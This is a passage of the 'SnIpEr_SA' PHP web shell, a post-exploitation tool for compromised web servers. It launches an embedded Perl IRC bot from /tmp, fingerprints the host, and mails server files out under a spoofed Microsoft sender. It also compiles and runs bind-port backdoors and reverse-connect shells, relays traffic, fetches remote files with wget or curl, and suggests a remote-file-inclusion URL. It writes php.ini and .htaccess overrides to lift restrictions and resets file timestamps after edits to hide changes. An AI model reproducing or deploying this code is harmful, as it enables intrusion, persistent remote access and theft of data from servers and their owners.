  3195.         my \$cur_byte = \$DCC{\$fh}{curbyte};
  3196.  
  3197.         open(FILE, \">> \$arquivo\");
  3198.         print FILE \"\$msg\" if (\$cur_byte <= \$bytes);
  3199.         close(FILE);
  3200.  
  3201.         my \$packbyte = pack(\"N\", \$cur_byte);
  3202.         print \$fh \"\$packbyte\";
  3203.  
  3204.  
  3205.         if (\$bytes == \$cur_byte) {
  3206.            \$dcc_sel->remove(\$fh);
  3207.            \$fh->close;
  3208.            \$DCC{\$fh}{status} = \"Recebido\";
  3209.            \$DCC{\$fh}{ftime} = time;
  3210.            next;
  3211.         }
  3212.      } elsif (\$dcctipo eq \"send\") {
  3213.           my \$send = \$fh->accept;
  3214.           \$send->autoflush(1);
  3215.           \$dcc_sel->add(\$send);
  3216.           \$dcc_sel->remove(\$fh);
  3217.           \$DCC{\$send}{tipo} = 'sendcon';
  3218.           \$DCC{\$send}{itime} = time;
  3219.           \$DCC{\$send}{nick} = \$nick;
  3220.           \$DCC{\$send}{bytes} = \$bytes;
  3221.           \$DCC{\$send}{curbyte} = 0;
  3222.           \$DCC{\$send}{arquivo} = \$arquivo;
  3223.           \$DCC{\$send}{ip} = \$send->peerhost;
  3224.           \$DCC{\$send}{porta} = \$send->peerport;
  3225.           \$DCC{\$send}{status} = \"Enviando\";
  3226.           #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
  3227.           open(FILE, \"< \$arquivo\");
  3228.           my \$fbytes;
  3229.           read(FILE, \$fbytes, 1024);
  3230.           print \$send \"\$fbytes\";
  3231.           close FILE;
  3232. # delete(\$DCC{\$fh});
  3233. } elsif (\$dcctipo eq 'sendcon') {
  3234.           my \$bytes_sended = unpack(\"N\", \$msg);
  3235.           \$DCC{\$fh}{curbyte} = \$bytes_sended;
  3236.           if (\$bytes_sended == \$bytes) {
  3237.              \$fh->close;
  3238.              \$dcc_sel->remove(\$fh);
  3239.              \$DCC{\$fh}{status} = \"Enviado\";
  3240.              \$DCC{\$fh}{ftime} = time;
  3241.              next;
  3242.           }
  3243.           open(SENDFILE, \"< \$arquivo\");
  3244.           seek(SENDFILE, \$bytes_sended, 0);
  3245.           my \$send_bytes;
  3246.           read(SENDFILE, \$send_bytes, 1024);
  3247.           print \$fh \"\$send_bytes\";
  3248.           close(SENDFILE);
  3249.      }
  3250.    }
  3251. }
  3252. ##########################
  3253.  
  3254. sub SEND {
  3255.   my (\$nick, \$arquivo) = @_;
  3256.   unless (-r \"\$arquivo\") {
  3257.     return(0);
  3258.   }
  3259.  
  3260.   my \$dccark = \$arquivo;
  3261.   \$dccark =~ s/[.*\/](\S+)/$1/;
  3262.  
  3263.   my \$meuip = $::irc_servers{\"$::IRC_cur_socket\"}{'meuip'};
  3264.   my \$longip = unpack(\"N\",inet_aton(\$meuip));
  3265.  
  3266.   my @filestat = stat(\$arquivo);
  3267.   my \$size_total=\$filestat[7];
  3268.   if (\$size_total == 0) {
  3269.      return(0);
  3270.   }
  3271.  
  3272.   my (\$porta, \$sendsock);
  3273.   do {
  3274.     \$porta = int rand(64511);
  3275.     \$porta += 1024;
  3276.     \$sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>\$porta, Proto => 'tcp') and \$dcc_sel->add(\$sendsock);
  3277.   } until \$sendsock;
  3278.  
  3279.   \$DCC{\$sendsock}{tipo} = 'send';
  3280.   \$DCC{\$sendsock}{nick} = \$nick;
  3281.   \$DCC{\$sendsock}{bytes} = \$size_total;
  3282.   \$DCC{\$sendsock}{arquivo} = \$arquivo;
  3283.  
  3284.   &::ctcp(\"\$nick\", \"DCC SEND \$dccark \$longip \$porta \$size_total\");
  3285.  
  3286. }
  3287.  
  3288. sub GET {
  3289.   my (\$arquivo, \$dcclongip, \$dccporta, \$bytes, \$nick) = @_;
  3290.   return(0) if (-e \"\$arquivo\");
  3291.   if (open(FILE, \"> \$arquivo\")) {
  3292.      close FILE;
  3293.   } else {
  3294.     return(0);
  3295.   }
  3296.  
  3297.   my \$dccip=fixaddr(\$dcclongip);
  3298.   return(0) if (\$dccporta < 1024 or not defined \$dccip or \$bytes < 1);
  3299.   my \$dccsock = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\$dccip, PeerPort=>\$dccporta, Timeout=>15) or return (0);
  3300.   \$dccsock->autoflush(1);
  3301.   \$dcc_sel->add(\$dccsock);
  3302.   \$DCC{\$dccsock}{tipo} = 'get';
  3303.   \$DCC{\$dccsock}{itime} = time;
  3304.   \$DCC{\$dccsock}{nick} = \$nick;
  3305.   \$DCC{\$dccsock}{bytes} = \$bytes;
  3306.   \$DCC{\$dccsock}{curbyte} = 0;
  3307.   \$DCC{\$dccsock}{arquivo} = \$arquivo;
  3308.   \$DCC{\$dccsock}{ip} = \$dccip;
  3309.   \$DCC{\$dccsock}{porta} = \$dccporta;
  3310.   \$DCC{\$dccsock}{status} = \"Recebendo\";
  3311. }
  3312. ############################
  3313. # po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
  3314. sub Status {
  3315.   my \$socket = shift;
  3316.   my \$sock_tipo = \$DCC{\$socket}{tipo};
  3317.   unless (lc(\$sock_tipo) eq \"chat\") {
  3318.     my \$nick = \$DCC{\$socket}{nick};
  3319.     my \$arquivo = \$DCC{\$socket}{arquivo};
  3320.     my \$itime = \$DCC{\$socket}{itime};
  3321.     my \$ftime = time;
  3322.     my \$status = \$DCC{\$socket}{status};
  3323.     \$ftime = \$DCC{\$socket}{ftime} if defined(\$DCC{\$socket}{ftime});
  3324.  
  3325.     my \$d_time = \$ftime-\$itime;
  3326.  
  3327.     my \$cur_byte = \$DCC{\$socket}{curbyte};
  3328.     my \$bytes_total = \$DCC{\$socket}{bytes};
  3329.  
  3330.     my \$rate = 0;
  3331.     \$rate = (\$cur_byte/1024)/\$d_time if \$cur_byte > 0;
  3332.     my \$porcen = (\$cur_byte*100)/\$bytes_total;
  3333.  
  3334.     my (\$r_duv, \$p_duv);
  3335.     if (\$rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  3336.        \$r_duv = $3; \$r_duv++ if $4 >= 5;
  3337.        \$rate = \"$1\.$2\".\"\$r_duv\";
  3338.     }
  3339.     if (\$porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  3340.        \$p_duv = $3; \$p_duv++ if $4 >= 5;
  3341.        \$porcen = \"$1\.$2\".\"\$p_duv\";
  3342.     }
  3343.     return(\"\$sock_tipo\",\"\$status\",\"\$nick\",\"\$arquivo\",\"\$bytes_total\", \"\$cur_byte\",\"\$d_time\", \"\$rate\", \"\$porcen\");
  3344.   }
  3345.  
  3346.   return(0);
  3347. }
  3348.  
  3349. # esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
  3350. sub fixaddr {
  3351.     my (\$address) = @_;
  3352.  
  3353.     chomp \$address; # just in case, sigh.
  3354.     if (\$address =~ /^\d+$/) {
  3355.         return inet_ntoa(pack \"N\", \$address);
  3356.     } elsif (\$address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  3357.         return \$address;
  3358.     } elsif (\$address =~ tr/a-zA-Z//) { # Whee! Obfuscation!
  3359.         return inet_ntoa(((gethostbyname(\$address))[4])[0]);
  3360.     } else {
  3361.         return;
  3362.     }
  3363. }
  3364. ############################
  3365. ";
  3366. $bot = "/tmp/ircs.pl";
  3367. $open = fopen($bot,"w");
  3368. fputs($open,$file);
  3369. fclose($open);
  3370. $cmd="perl $bot";
  3371. $cmd2="rm $bot";
  3372. system($cmd);
  3373. system($cmd2);
  3374. $_POST['cmd']="echo \"Now script try connect to ircserver ...\"";
  3375.  
  3376. }
  3377.  
  3378. if($unix)
  3379.  {
  3380.  if(!isset($_COOKIE['uname'])) { $uname = ex('uname -a'); setcookie('uname',$uname); } else { $uname = $_COOKIE['uname']; }
  3381.  if(!isset($_COOKIE['id'])) { $id = ex('id'); setcookie('id',$id); } else { $id = $_COOKIE['id']; }
  3382.  if($safe_mode) { $sysctl = '-'; }
  3383.  else if(isset($_COOKIE['sysctl'])) { $sysctl = $_COOKIE['sysctl']; }
  3384.  else
  3385.   {
  3386.    $sysctl = ex('sysctl -n kern.ostype && sysctl -n kern.osrelease');
  3387.    if(empty($sysctl)) { $sysctl = ex('sysctl -n kernel.ostype && sysctl -n kernel.osrelease'); }
  3388.    if(empty($sysctl)) { $sysctl = '-'; }
  3389.    setcookie('sysctl',$sysctl);
  3390.   }
  3391.  }
  3392. echo $head;
  3393. echo '</head>';
  3394. if(empty($_POST['cmd'])) {
  3395. $serv = array(127,192,172,10);
  3396. $addr=@explode('.', $_SERVER['SERVER_ADDR']);
  3397. $current_version = str_replace('.','',$version);
  3398. if (!in_array($addr[0], $serv)) {
  3399. @print "<img src=\"http://127.0.0.1/version.php?img=1&version=".$current_version."\" border=0 height=0 width=0>";
  3400. @readfile ("http://127.0.0.1/version.php?version=".$current_version."");}}
  3401. echo '<body><table width=100% cellpadding=0 cellspacing=0 bgcolor=#CCCCCC><tr><td bgcolor=#000000 width=160><font face=Comic Sans MS size=4>'.ws(2).'<DIV dir=ltr align=center><font face=Wingdings size=3><b>N</b></font><b>'.ws(2).'<DIV dir=ltr align=center><SPAN
  3402. style="FILTER: blur(add=1,direction=10,strength=25); HEIGHT: 25px">
  3403. <SPAN
  3404. style="FONT-SIZE: 15pt; COLOR: white; FONT-FAMILY: Impact">SnIpEr_SA</P></SPAN></DIV></font></b></font></td><td bgcolor=#000000><font face=tahoma size=1>';
  3405. echo ws(2)."<b>".date ("d-m-Y H:i:s")."</b>";
  3406. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."? title=\"".$lang[$language.'_text46']."\"><b>ÇáNAíÓía</b></a> ".$rb;
  3407. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?sqlman title=\"".$lang[$language.'_text46']."\"><b>SQL</b></a> ".$rb;
  3408. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb;
  3409. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb;
  3410. if($unix)
  3411.  {
  3412.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb;
  3413.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb;
  3414.  echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?users title=\"".$lang[$language.'_text95']."\"><b>users</b></a> ".$rb;
  3415.  }
  3416. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb;
  3417. echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?delete title=\"".$lang[$language.'_text49']."\"><b>delete</b></a> ".$rb."<br>";
  3418. echo ws(2)."ÇáaÖÚ ÇáÇaä: <b>";
  3419. echo (($safe_mode)?("<font color=#008000>ÝÚÇá</font>"):("<font color=red>UíN ÝÚÇá</font>"));
  3420. echo "</b>".ws(2);
  3421. echo "ÇOIÇN ÇáEí ÇEÔ Eí: <b>".@phpversion()."</b>";
  3422. $curl_on = @function_exists('curl_version');
  3423. echo ws(2);
  3424. echo "ÇáßíNá: <b>".(($curl_on)?("<font color=#008000>ÝÚÇá</font>"):("<font color=red>UíN ÝÚÇá</font>"));
  3425. echo "</b>".ws(2);
  3426. echo "aÇí Óßá: <b>";
  3427. $mysql_on = @function_exists('mysql_connect');
  3428. if($mysql_on){
  3429. echo "<font color=#008000>ÝÚÇá</font>"; } else { echo "<font color=red>UíN ÝÚÇá</font>"; }
  3430. echo "</b>".ws(2);
  3431. echo "Ça ÇÓ Óßá: <b>";
  3432. $mssql_on = @function_exists('mssql_connect');
  3433. if($mssql_on){echo "<font color=#008000>ÝÚÇá</font>";}else{echo "<font color=red>UíN ÝÚÇá</font>";}
  3434. echo "</b>".ws(2);
  3435. echo "EaÓE ?Ní Óßá: <b>";
  3436. $pg_on = @function_exists('pg_connect');
  3437. if($pg_on){echo "<font color=#008000>ÝÚÇá</font>";}else{echo "<font color=red>UíN ÝÚÇá</font>";}
  3438. echo "</b>".ws(2);
  3439. echo "ÇaNÇßá: <b>";
  3440. $ora_on = @function_exists('ocilogon');
  3441. if($ora_on){echo "<font color=#008000>ÝÚÇá</font>";}else{echo "<font color=red>aUá?</font>";}
  3442. echo "</b><br>".ws(2);
  3443. echo "ÇáIaÇá ÇáaaäaÚÉ : <b>";
  3444. if(''==($df=@ini_get('disable_functions'))){echo "<font color=#00800F>áÇíaII</font></b>";}else{echo "<font color=red>$df</font></b>";}
  3445. $free = @diskfreespace($dir);
  3446. if (!$free) {$free = 0;}
  3447. $all = @disk_total_space($dir);
  3448. if (!$all) {$all = 0;}
  3449. echo "<br>".ws(2)."ÇáaÓÇÍÉ ÇáÎÇáía : <b>".view_size($free)."</b> ÇáaÓÇÍÉ ÇáßáíÉ: <b>".view_size($all)."</b>";
  3450. echo "</b><br>".ws(2);
  3451. echo "Register globals: <b>";
  3452. $reg_g = @ini_get("register_globals");
  3453. if($reg_g){
  3454. echo "<font color=#008000>ÝÚÇá</font>"; } else { echo "<font color=red>UíN ÝÚÇá</font>"; }
  3455. echo "</b>".ws(2);
  3456. echo "open_basedir: <b>";
  3457. $openbasedi = @ini_get("open_basedir");
  3458. if($openbasedi){
  3459. echo "<font color=red>ÝÚÇá</font>"; } else { echo "<font color=#008000>UíN ÝÚÇá</font>"; }
  3460. echo "</b>".ws(2);
  3461. echo '</font></td></tr><table>
  3462. <table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc>
  3463. <tr><td align=right width=100>';
  3464. echo $font;
  3465. if($unix){
  3466. echo '<font color=#990000><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>';
  3467. echo "</td><td>";
  3468. echo "<font face=tahoma size=-2 color=#cccccc><b>";
  3469. echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>"));
  3470. echo ws(3).$sysctl."<br>";
  3471. echo ws(3).ex('echo $OSTYPE')."<br>";
  3472. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  3473. if(!empty($id)) { echo ws(3).$id."<br>"; }
  3474. else if(function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
  3475.  {
  3476.  $euserinfo  = @posix_getpwuid(@posix_geteuid());
  3477.  $egroupinfo = @posix_getgrgid(@posix_getegid());
  3478.  echo ws(3).'uid='.$euserinfo['uid'].' ( '.$euserinfo['name'].' ) gid='.$egroupinfo['gid'].' ( '.$egroupinfo['name'].' )<br>';
  3479.  }
  3480. else echo ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."<br>";
  3481. echo ws(3).$dir;
  3482. echo ws(3).'( '.perms(@fileperms($dir)).' )';
  3483. echo "<br>";
  3484. echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
  3485. echo "</b></font>";
  3486. }
  3487. else
  3488. {
  3489. echo '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'<br>ip :'.ws(1).'</b></font><br>';
  3490. echo "</td><td>";
  3491. echo "<font face=tahoma size=-2 color=red><b>";
  3492. echo ws(3).@substr(@php_uname(),0,120)."<br>";
  3493. echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>";
  3494. echo ws(3).@getenv("USERNAME")."<br>";
  3495. echo ws(3).$dir;
  3496. echo "<br>";
  3497. echo ws(3)."<b>Your ip: <a href=http://".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a> - Server ip: <a href=http://".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a></b><br/>";
  3498. echo "<br></font>";
  3499. }
  3500. echo "</font>";
  3501. echo "</td></tr></table>";
  3502. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail")
  3503.  {
  3504.  $res = mail($_POST['to'],$_POST['subj'],$_POST['text'],"From: ".$_POST['from']."\r\n");
  3505.  err(6+$res);
  3506.  $_POST['cmd']="";
  3507.  }
  3508. if(!empty($_POST['cmd']) && $_POST['cmd']=="mail_file" && !empty($_POST['loc_file']))
  3509.  {
  3510.  if(!$file=@fopen($_POST['loc_file'],"r")) { err(1,$_POST['loc_file']); $_POST['cmd']=""; }
  3511.  else
  3512.   {
  3513.     $filename = @basename($_POST['loc_file']);
  3514.     $filedump = @fread($file,@filesize($_POST['loc_file']));
  3515.     fclose($file);
  3516.     $content_encoding=$mime_type='';
  3517.     compress($filename,$filedump,$_POST['compress']);
  3518.     $attach = array(
  3519.                     "name"=>$filename,
  3520.                     "type"=>$mime_type,
  3521.                     "content"=>$filedump
  3522.                    );
  3523.     if(empty($_POST['subj'])) { $_POST['subj'] = 'file from SnIpEr_SA shell'; }
  3524.     if(empty($_POST['from'])) { $_POST['from'] = 'billy@microsoft.com'; }
  3525.     $res = mailattach($_POST['to'],$_POST['from'],$_POST['subj'],$attach);
  3526.     err(6+$res);
  3527.     $_POST['cmd']="";
  3528.   }
  3529.  }
  3530. if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text")
  3531. {
  3532. $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\'';
  3533. }
  3534. if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_")
  3535.  {
  3536.  switch($_POST['what'])
  3537.    {
  3538.    case 'own':
  3539.    @chown($_POST['param1'],$_POST['param2']);
  3540.    break;
  3541.    case 'grp':
  3542.    @chgrp($_POST['param1'],$_POST['param2']);
  3543.    break;
  3544.    case 'mod':
  3545.    @chmod($_POST['param1'],intval($_POST['param2'], 8));
  3546.    break;
  3547.    }
  3548.  $_POST['cmd']="";
  3549.  }
  3550. if(!empty($_POST['cmd']) && $_POST['cmd']=="mk")
  3551.  {
  3552.    switch($_POST['what'])
  3553.    {
  3554.      case 'file':
  3555.       if($_POST['action'] == "create")
  3556.        {
  3557.        if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  3558.        else {
  3559.         fclose($file);
  3560.         $_POST['e_name'] = $_POST['mk_name'];
  3561.         $_POST['cmd']="edit_file";
  3562.         echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text61']."</b></font></div></td></tr></table>";
  3563.         }
  3564.        }
  3565.        else if($_POST['action'] == "delete")
  3566.        {
  3567.        if(unlink($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text63']."</b></font></div></td></tr></table>";
  3568.        $_POST['cmd']="";
  3569.        }
  3570.      break;
  3571.      case 'dir':
  3572.       if($_POST['action'] == "create"){
  3573.       if(mkdir($_POST['mk_name']))
  3574.        {
  3575.          $_POST['cmd']="";
  3576.          echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text62']."</b></font></div></td></tr></table>";
  3577.        }
  3578.       else { err(2,$_POST['mk_name']); $_POST['cmd']=""; }
  3579.       }
  3580.       else if($_POST['action'] == "delete"){
  3581.       if(rmdir($_POST['mk_name'])) echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text64']."</b></font></div></td></tr></table>";
  3582.       $_POST['cmd']="";
  3583.       }
  3584.      break;
  3585.    }
  3586.  }
  3587. if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name']))
  3588.  {
  3589.  if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); }
  3590.  if(!$file=@fopen($_POST['e_name'],"r")) { err(1,$_POST['e_name']); $_POST['cmd']=""; }
  3591.  else {
  3592.  echo $table_up3;
  3593.  echo $font;
  3594.  echo "<form name=save_file method=post>";
  3595.  echo ws(3)."<b>".$_POST['e_name']."</b>";
  3596.  echo "<div align=center><textarea name=e_text cols=121 rows=24>";
  3597.  echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));
  3598.  fclose($file);
  3599.  echo "</textarea>";
  3600.  echo "<input type=hidden name=e_name value=".$_POST['e_name'].">";
  3601.  echo "<input type=hidden name=dir value=".$dir.">";
  3602.  echo "<input type=hidden name=cmd value=save_file>";
  3603.  echo (!empty($only_read)?("<br><br>".$lang[$language.'_text44']):("<br><br><input type=submit name=submit value=\" ".$lang[$language.'_butt10']." \">"));
  3604.  echo "</div>";
  3605.  echo "</font>";
  3606.  echo "</form>";
  3607.  echo "</td></tr></table>";
  3608.  exit();
  3609.  }
  3610.  }
  3611. if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file")
  3612.  {
  3613.  $mtime = @filemtime($_POST['e_name']);
  3614.  if(!$file=@fopen($_POST['e_name'],"w")) { err(0,$_POST['e_name']); }
  3615.  else {
  3616.  if($unix) $_POST['e_text']=@str_replace("\r\n","\n",$_POST['e_text']);
  3617.  @fwrite($file,$_POST['e_text']);
  3618.  @touch($_POST['e_name'],$mtime,$mtime);
  3619.  $_POST['cmd']="";
  3620.  echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#000000><div align=center><font face=tahoma size=-2><b>".$lang[$language.'_text45']."</b></font></div></td></tr></table>";
  3621.  }
  3622.  }
  3623.  
  3624.  
  3625.  
  3626. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
  3627. {
  3628.  cf("/tmp/bd.c",$port_bind_bd_c);
  3629.  $blah = ex("gcc -o /tmp/bd /tmp/bd.c");
  3630.  @unlink("/tmp/bd.c");
  3631.  $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &");
  3632.  $_POST['cmd']="ps -aux | grep bd";
  3633. $_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";
  3634.  
  3635. }
  3636. if (!empty($_POST['port1']))
  3637. {
  3638.  cf("bds",$port_bind_bd_cs);
  3639.  $blah = ex("chmod 777 bds");
  3640.  $blah = ex("./bds ".$_POST['port1']." &");
  3641.  $_POST['cmd']="echo \"Now script install backdoor connect to port ";
  3642.   }else{
  3643. cf("/tmp/bds",$port_bind_bd_cs);
  3644.  $blah = ex("chmod 777 bds");
  3645.  $blah = ex("./tmp/bds ".$_POST['port1']." &");
  3646.  }
  3647. if (!empty($_POST['php_ini1']))
  3648. {
  3649.  cf("php.ini",$php_ini1);
  3650.   $_POST['cmd']=" áÇí?ÇÝ ÇáÓíÝ aaI php.ini Ea ONÚ aáÝ";
  3651.  }
  3652.  
  3653.  if (!empty($_POST['htacces']))
  3654. {
  3655.  cf(".htaccess",$htacces);
  3656.   $_POST['cmd']="áAí?ÇÝ ÇáaaI ÓßíaNEí htaccess Ea ONÚ aáÝ";
  3657.  }
  3658.   if (!empty($_POST['file_ini']))
  3659. {
  3660.  cf("ini.php",$sni_res);
  3661.  
  3662.   $_POST['cmd']=" http://target.com/ini.php?ss=http://shell.txt? ßÇáEÇáí ss EÇáaEUíN ini.php ÇáAä ?a EÚaá ÇäßáaI áaáÝ";
  3663.  }
  3664.  
  3665. if(($_POST['fileto'] != "")||($_POST['filefrom'] != ""))
  3666.  
  3667. {
  3668. $data = implode("", file($_POST['filefrom']));
  3669. $fp = fopen($_POST['fileto'], "wb");
  3670. fputs($fp, $data);
  3671. $ok = fclose($fp);
  3672. if($ok)
  3673. {
  3674. $size = filesize($_POST['fileto'])/1024;
  3675. $sizef = sprintf("%.2f", $size);
  3676. print "<center><div id=logostrip>Download - OK.
  3677. (".$sizef."e?)</div></center>";
  3678. }
  3679. else
  3680. {
  3681. print "<center><div id=logostrip>Something is wrong. Download - IS NOT
  3682. OK</div></center>";
  3683. }
  3684. }
  3685. if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
  3686. {
  3687.  cf("/tmp/bdpl",$port_bind_bd_pl);
  3688.  $p2=which("perl");
  3689.  $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &");
  3690.  $_POST['cmd']="ps -aux | grep bdpl";
  3691.  $_POST['cmd']="echo \"Now try connect to nc -vv ".gethostbyname($_SERVER["HTTP_HOST"])." port ".$_POST['port']." ...\"";
  3692. }
  3693. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
  3694. {
  3695.  cf("/tmp/back",$back_connect);
  3696.  $p2=which("perl");
  3697.  $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &");
  3698.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...Datached\"";
  3699. }
  3700. if (!empty($_POST['ips']) && !empty($_POST['ports']))
  3701. {
  3702.  cf("/tmp/backs",$back_connects);
  3703.  $p2=which("perl");
  3704.  $blah = ex($p2." /tmp/backs ".$_POST['ips']." ".$_POST['ports']." &");
  3705.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ips']." port ".$_POST['ports']." ...\"";
  3706.  
  3707. }
  3708. if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
  3709. {
  3710.  cf("/tmp/back.c",$back_connect_c);
  3711.  $blah = ex("gcc -o /tmp/backc /tmp/back.c");
  3712.  @unlink("/tmp/back.c");
  3713.  $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &");
  3714.  $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\"";
  3715. }
  3716. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl"))
  3717. {
  3718.  cf("/tmp/dp",$datapipe_pl);
  3719.  $p2=which("perl");
  3720.  $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &");
  3721.  $_POST['cmd']="ps -aux | grep dp";
  3722. }
  3723. if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C"))
  3724. {
  3725.  cf("/tmp/dpc.c",$datapipe_c);
  3726.  $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c");
  3727.  @unlink("/tmp/dpc.c");
  3728.  $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &");
  3729.  $_POST['cmd']="ps -aux | grep dpc";
  3730. }
  3731. if (!empty($_POST['alias']) && isset($aliases[$_POST['alias']])) { $_POST['cmd'] = $aliases[$_POST['alias']]; }
  3732. if (!empty($HTTP_POST_FILES['userfile']['name']))
  3733. {
  3734. if(!empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }
  3735. else { $nfn = $HTTP_POST_FILES['userfile']['name']; }
  3736. @copy($HTTP_POST_FILES['userfile']['tmp_name'],
  3737.             $_POST['dir']."/".$nfn)
  3738.       or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>");
  3739. }
  3740. if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))
  3741. {
  3742.  switch($_POST['with'])
  3743.  {
  3744.  case wget:
  3745.  $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file']."";
  3746.  break;
  3747.  case fetch:
  3748.  $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file']."";
  3749.  break;
  3750.  case lynx:
  3751.  $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  3752.  break;
  3753.  case links:
  3754.  $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  3755.  break;
  3756.  case GET:
  3757.  $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file']."";
  3758.  break;
  3759.  case curl:
  3760.  $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file']."";
  3761.  break;
  3762.  }
  3763. }
  3764. if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down"))
  3765.  {
  3766.  list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']);
  3767.  if(empty($ftp_port)) { $ftp_port = 21; }
  3768.  $connection = @ftp_connect ($ftp_server,$ftp_port,10);
  3769.  if(!$connection) { err(3); }
  3770.  else
  3771.   {
  3772.   if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { err(4); }
  3773.   else
  3774.    {
